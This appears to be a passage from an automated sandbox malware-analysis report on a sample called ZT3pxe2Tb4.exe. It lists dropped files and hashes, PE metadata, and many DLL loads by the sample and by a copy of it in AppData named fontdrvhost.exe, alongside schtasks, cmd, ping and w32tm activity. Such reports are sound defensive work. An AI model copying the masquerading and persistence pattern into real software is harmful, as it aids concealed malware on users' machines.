Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C12B24D	35_2_00007FFD9C12B24D
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C11E8A1	35_2_00007FFD9C11E8A1
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BA2D344	35_2_00007FFD9BA2D344

Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\AFOsBjYP.log AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\AaPSReOe.log F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05

Source: DnshUSLJ.log.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: tAOrkGQb.log.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SKewgrff.log.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: IbKgwPay.log.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: zsrQNmVQ.log.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: pJXAdKPi.log.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: ZT3pxe2Tb4.exe, 00000000.00000002.1670366434.000000001BFAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs ZT3pxe2Tb4.exe
Source: ZT3pxe2Tb4.exe, 00000000.00000000.1607054032.0000000000D64000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs ZT3pxe2Tb4.exe
Source: ZT3pxe2Tb4.exe	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs ZT3pxe2Tb4.exe

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
